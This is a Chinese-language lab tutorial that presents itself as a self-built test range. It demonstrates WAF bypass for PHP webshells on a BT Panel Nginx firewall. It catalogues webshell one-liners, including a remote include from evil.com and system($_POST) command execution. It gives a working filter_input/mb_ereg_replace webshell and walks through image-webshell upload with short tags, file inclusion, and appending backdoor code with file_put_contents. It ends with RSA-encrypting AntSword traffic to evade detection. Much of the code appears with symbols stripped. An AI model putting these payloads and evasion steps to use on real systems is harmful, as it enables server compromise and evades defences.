
免责声明本文全部实验操作均在本人完全可控的自建本地靶场环境完成文章仅用于网络安全原理学习与技术研究。根据《中华人民共和国网络安全法》未经授权对任何第三方系统进行探测、命令执行、文件写入等操作属于违法行为。严禁复制、使用本文中的 Payload、代码应用到未获得授权的设备上。若读者将文中内容用于非法用途一切法律责任由行为人本人承担与本文作者无关。个人水平有限如有不足欢迎指正。————————————————摘要本文基于本地合法可控靶场围绕文件上传与文件包含漏洞实验展开演示在宝塔 Nginx 防火墙环境下如何通过图片马上传、文件包含与 file_put_content() 写马实现绕过最后说明如何通过蚁剑 RSA 加密通信规避 WAF 对明文流量的检测从而完成连接验证。实验前提自己搭建的本地合法可控靶场。环境准备宝塔面板自搭网站存在一个文件包含漏洞启用宝塔面板自带的免费Nginx防火墙基于此实现文件上传的webshell绕过。前期知识准备常见的php webshell类型1. 直接型eval($_POST[cmd]); assert($_POST[cmd]);这是最直观的一类$_POST[cmd]直接进入代码执行函数执行。例如 eval() 的作用是把传入的字符串作为 PHP 代码执行。因此这种代码非常容易被静态检测发现因为代码中直接出现了eval()assert()特点代码结构简单容易理解特征明显比较容易被安全产品通过关键函数特征发现2. 回调型array_map(assert, $_POST); usort($_POST[1], $_POST[2]);什么叫“回调型”这里的关键不是直接写eval(...)。而是把某个函数作为参数传给另一个函数由另一个函数间接调用它。核心思想利用 PHP 的回调机制间接调用具有执行能力的函数。常见回调函数call_user_func()array_map()array_filter()usort()array_map()数组回调函数把数组每一个元素丢给回调函数处理返回新数组。array_map(callable|null $callback, array $array, array ...$arrays): array$callback回调函数可以是函数名字符串、匿名函数、可变函数$array要遍历的数组返回处理完成的新数组不修改原数组基础示例function add($v){ return $v1; } $arr [1,2,3]; $res array_map(add,$arr); // $res [2,3,4]漏洞利用1. 可变函数风险外部输入可控如果回调函数名来自用户可控输入会造成代码执行// $_POST[func]system $_POST[arr][]id array_map($_POST[func],$_POST[arr]);POST 提交funcsystemarr[]id等价执行 system(id)这是非常经典无 assert、eval 情况下的 RCE payload。3. 包含型include $_FILES[2][tmp_name]; require http://evil.com/1.txt;什么是包含型核心是利用include、require等 PHP 文件包含机制。例如include $file;PHP 会尝试把$file指向的内容加载到当前 PHP 程序中执行。因此这里的核心逻辑不是直接执行字符串而是指定文件经过include / require加载文件内容PHP 解析其中的代码include和 require两者都可以用于文件包含。主要区别在于包含失败后的处理方式include产生警告程序通常继续执行require产生致命错误程序通常停止4. 变形型eval(gzdeflate(base64_decode(...))); $_ []; $_; $_; ... $_($_);什么叫“变形型”这里的核心思想是不直接把明显的执行代码写出来而是经过编码、转换、拼接等方式改变代码的表现形式。例如base64_decode(...)可以对 Base64 数据进行解码。而gzdeflate(...)涉及压缩数据处理。所以可以出现类似编码/压缩的数据经过解码/解压得到原始内容进入执行逻辑第二个例子则属于通过 PHP 的类型转换、运算等机制构造出某些值再进一步调用。需要注意“变形型”并不是一个 PHP 官方分类而是安全领域对这类代码混淆/变形特征的概括。5. 命令型$_POST[2]; system($_POST[2]);这里第二个更加典型。核心特点它不是让 PHP 解释器执行 PHP 代码而是调用操作系统命令执行相关函数。例如system(...)属于 PHP 与操作系统命令交互的一类函数。逻辑可以理解成外部输入system()后操作系统执行系统命令。常见相关函数还包括system()、exec()、shell_exec()、passthru()。因此在 PHP 安全分析中这些函数通常需要重点关注。6. 技巧型create_function(, $_POST[2333]); preg_replace(/.*/e, $_POST[1], $_POST[2333]);这一类比较特殊。它的特点是利用某些 PHP 函数的特殊行为使数据最终进入代码执行流程。例如历史版本中的preg_replace(/.*/e, ...);其中 /e 修饰符曾经允许替换结果作为 PHP 代码执行。这是一个历史机制现代 PHP 版本已经移除 /e 修饰符同样create_function() 也是历史上的动态创建函数机制在现代 PHP 中已经被移除。filter_input()函数查阅php官方文档可以发现对于该函数的解释和适用的php版本范围该函数的结构可以先这样理解filter_input(从哪里取, 取哪个参数, 怎么处理, 额外规则)作用从用户输入中“取出一个值并按照指定规则过滤它”。作用从用户输入中“取出一个值并按照指定规则过滤它”。1. 最基本的用法例如$name filter_input(INPUT_GET, name);假设访问http://example.com/test.php?nameTom那么$nameTom这里最重要的是理解它的两个参数filter_input(来源, 参数名);第一个参数告诉 PHP要从哪一种用户输入中取数据常见的有INPUT_GET、INPUT_POST、INPUT_COOKIE。INPUT_GET从 URL 的 GET 参数中获取。例如/test.php?id123代码$id filter_input(INPUT_GET, id);相当于告诉 PHP去 GET 数据里面找一个叫 id 的参数。第三个参数查看官方文档可以得知可以得到以下关键信息mb_ereg_replace参数$pattern正则表达式$replacement替换内容$string待处理字符串$options选项传入e时替换字符串会被当做 PHP 代码执行PHP版本变化PHP5‑7.0e选项可用可 RCEPHP7.1e被废弃不再执行代码警告提示PHP示例漏洞代码// 用户可控 $reps mb_ereg_replace(\d, $reps, 123, e);传入$repsphpinfo()等价执行eval(phpinfo())RCE。mb_ereg_replace(.*,system(id);,abc,e);和preg_replace /e很像但属于 mbstring 多字节正则代码执行触发条件第四个参数写epreg_replace是 PCRE 正则。成功执行基于fileter_inpute和mb_ereg_replace产生的websell由于测试环境中的 WAF 会对$_GET等直接获取 GET 参数的代码特征进行识别和拦截因此这里改用 PHP 提供的filter_input()接口获取 GET 参数。?php mb_ereg_replace(.*,\0,filter_input(INPUT_GET,cmd),e);1.在宝塔根目录中创建一个用于文件上传的html文件另外创建一个用于保存到本地的php代码!DOCTYPE html html head meta charsetutf-8 title文件上传/title /head body form actionupload.php methodpost enctypemultipart/form-data input typefile nameupfile / button typesubmit上传文件/button /form /body /html2.制作图片马后门经过多次上传尝试发现该图片并不能被上传查看站点的防火墙日志发现防火墙可能成功检测出这是一个图片马猜测原因可能是因为包含了? php这个标签实际上这里可以查看这个防火墙拦截规则里确实 有 过滤这个标签使用短标签重新制作图片马再次上传这一次成功上传进入目录查看确实存在这个图片3.创建一个文件包含漏洞包含该图片时发现可能会报错如下于是可以改为使用上传.gif文件上传成功这一次页面并没有乱码了只又提示e参数依旧被废弃测试改文件包含漏洞和我们的图片马是否生效在php7中支持phpinfo()PHP 7 新增字符串后面直接跟圆括号会把该字符串当作函数名来调用发现成功利用4.file_put_content()PHP 文件写入函数把字符串写入文件文件不存在自动创建默认直接覆盖原有内容PHP。参数说明$filename目标文件路径相对 / 绝对路径$data要写入的内容字符串、数组、流资源PHP$flags可选FILE_APPEND追加写入不覆盖原有内容不加这个就是覆盖FILE_APPEND是 PHP 的预定义常量它本身的值就是整数 8LOCK_EX写入时加独占锁防止并发冲突$context流上下文一般不用返回值成功返回写入的字节数失败返回 false利用图片马执行该函数由于直接写后门文件如果一次写完整的其中的内容可能会被检测到导致不能成功于是可以采用追加模式5.尝试蚁剑连接尝试直接使用蚁剑连接一句话木马抓包可见 POST 数据明文携带eval危险函数WAF 识别危险函数直接拦截流量连接失败。需要对蚁剑通信流量做加密处理规避检测。在服务端 PHP 代码中加入 RSA 通信加密逻辑。通过 RSA 公钥对通信数据进行加密并在服务端使用对应私钥进行解密使客户端与服务端之间传输的数据不再以原始明文形式直接出现。该脚本负责接收并解密客户端发送的加密数据因此需要将其放置在当前靶场中作为客户端建立加密通信的服务端入口。可继续使用追加模式追加该php代码或者使用copy命令从另一个自己搭建的靶场中复制到该靶场copy通过临时 HTTP 文件服务提供测试文件并在目标测试环境中将文件复制到相应目录重新配置客户端连接参数后成功建立通信说明服务端 RSA 加密逻辑与客户端配置能够正常配合工作验证了加密通信配置的有效性。再次尝试蚁剑连接成功连接。此时蚁剑通信数据已经经过加密请求中的内容呈现为密文形式WAF 无法像分析明文流量一样直接识别其中的原始特征。对于 WAF 而言这类请求的内容特征与普通业务中的加密数据可能存在一定相似性因此仅依靠流量内容难以准确判断其是否属于恶意通信。若直接拦截可能产生误报而放行又可能存在漏报风险。